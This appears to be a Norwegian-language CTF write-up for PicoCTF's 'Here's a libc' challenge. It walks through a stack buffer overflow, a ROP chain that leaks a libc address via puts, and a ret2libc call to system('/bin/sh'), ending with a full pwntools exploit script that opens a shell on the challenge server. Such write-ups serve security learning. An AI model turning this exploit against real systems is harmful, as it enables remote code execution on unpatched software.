Skip to content

Writeup for PicoCTF - Here's a libc

Posted on:December 15, 2023 at 11:15 PM

Challenge

Description I am once again asking for you to pwn this binary

vuln, libc.so.6, Makefile

nc mercury.picoctf.net 37289

Initial analysis

Dette er en buffer overflow challenge der vi må kalle system(“/bin/sh”) for å få flagget.

Info

Instruksjonsett: x86_64

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'.'

Solution

Oppgaven inneholder en scanf som leser alt helt til \n og prøver å legge dette inn i en char-array på 112 bytes. Derfor kan vi prøve å skrive flere bytes inn, slik at vi kan overskrive verdier på stacken.

Siden vi har fått en libc fil bruker jeg først pwninit for å lage en patched versjon av binary-en.

cd ./project
nix-shell -p pwninit
pwninit

Ved å bruke checksec kan vi se på sikkerhetsmekanismene som er aktivert i binaryen. Her ser vi at det ikke er noen canary, noe som gjør det enklere å overskrive returadressen.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'./'

Ved å bruke gef kan vi kjøre pattern create 200 for å lage en string som er 200 bytes lang. Denne kan vi så sende til programmet for å se hvilken offset vi må bruke for å overskrive returadressen.

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Vi sender dette inn i programmet og forventer at den krasjer. Vi kan så bruke pattern search for å finne offseten.

gef➤  pattern search $rsp
[+] Searching for '7261616161616161'/'6161616161616172' with period=8
[+] Found at offset 136 (little-endian search) likely

Nå har vi funnet ut at vi må overflowe med 136 bytes før vi overskriver returadressen.

Planen nå er å lekke libc adressen, slik at vi etterhvert kan kalle system.

from pwn import *

## Buffer størrelsen
payload = b"A" * 136 

## Lager en rop chain
rop = ROP([exe])
rop.puts(exe.got.puts)  # printer ut adressen til puts i libc
rop.do_stuff()          # hvilken funksjon skal vi kalle etter puts
payload += rop.chain()

log.info("Rop chain: " + rop.dump())

## sender payload til programmet
r.sendlineafter("WeLcOmE To mY EcHo sErVeR!\n", payload)
r.recvline()

## leser ut leaken i riktig x64 format
addr = r.recvline().strip()
puts_addr = u64(addr.ljust(8, b"\x00"))
print(hex(puts_addr))

Nå har vi lekket adressen til puts i libc, og kan bruke denne til å finne base adressen til libc.

libc_base = puts_addr - libc.symbols['puts']
log.info("Libc base: " + hex(libc_base))

Nå kan vi finne adressen til system og “/bin/sh” i libc, og kalle system(“/bin/sh”) for å få en shell.

Det vi ønsker å oppnå er å legge adressen til “/bin/sh” inn i rdi, og så kalle system. Dette gjør vi ved å først kalle pop rdi, ret derretter å legge adressen /bin/sh på stacken etterpå. Dette gjør at /bin/sh blir lagt inn i rdi. Deretter kaller vi ret for å “clean” stacken, og så kaller vi system. system vil da bruke rdi som argument, og kjøre system("/bin/sh").

Vi er nå inni do_stuff funksjonen

## Lager en ny rop chain som skal brukes til å kalle system("/bin/sh")
rop = ROP([exe, libc])
poprdi = rop.find_gadget(["pop rdi", "ret"])[0] 
ret = poprdi + 1 # "pop rdi" er nøyaktig 1 byte, så vi trenger bare å addere 1 for å få ret
binsh = next(libc.search(b"/bin/sh"))
system = libc.symbols['system']

log.info("system: " + hex(system))
log.info("binsh: " + hex(binsh))

payload = b"A" * 136
payload += p64(poprdi) # pop rdi, ret. gjør at neste verdi vi leger inn i stacken blir lagt inn i rdi
payload += p64(binsh)  # Vi laster adressen til /bin/sh inn i rdi (rdi er første argumentet til system)
payload += p64(ret)    # xmword --> legge til en ret (ret, cleaner stacken)
payload += p64(system) # adressen til system. vi kaller nå system("/bin/sh")

Final exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        gdb.attach(r)

    else:
        r = remote("mercury.picoctf.net", 37289)

    return r


def main():
    r = conn()

    payload = b"A" * 136
    
    rop = ROP([exe])
    rop.puts(exe.got.puts)
    rop.do_stuff()
    payload += rop.chain()


    r.sendlineafter("WeLcOmE To mY EcHo sErVeR!\n", payload)
    r.recvline()

    addr = r.recvline().strip()
    puts_addr = u64(addr.ljust(8, b"\x00"))
    print(hex(puts_addr))

    libc_base = puts_addr - libc.symbols['puts']
    assert(libc_base & 0xFFF == 0) # Sjekker at vi faktisk har funnet base adressen til libc

    libc.address = libc_base

    rop = ROP([exe, libc])
    poprdi = rop.find_gadget(["pop rdi", "ret"])[0] 
    ret = poprdi + 1 # "pop rdi" er nøyaktig 1 byte, så vi trenger bare å addere 1 for å få ret
    binsh = next(libc.search(b"/bin/sh"))
    system = libc.symbols['system']
    log.info("system: " + hex(system))
    log.info("binsh: " + hex(binsh))
    
    payload = b"A" * 136
    payload += p64(poprdi) # pop rdi, ret. gjør at neste verdi vi leger inn i stacken blir lagt inn i rdi
    payload += p64(binsh)  # Vi laster adressen til /bin/sh inn i rdi (rdi er første argumentet til system)
    payload += p64(ret)    # xmword --> legge til en ret (ret, cleaner stacken)
    payload += p64(system) # adressen til system. vi kaller nå system("/bin/sh")

 
    r.sendline(payload)

    r.interactive()
    

if __name__ == "__main__":
    main()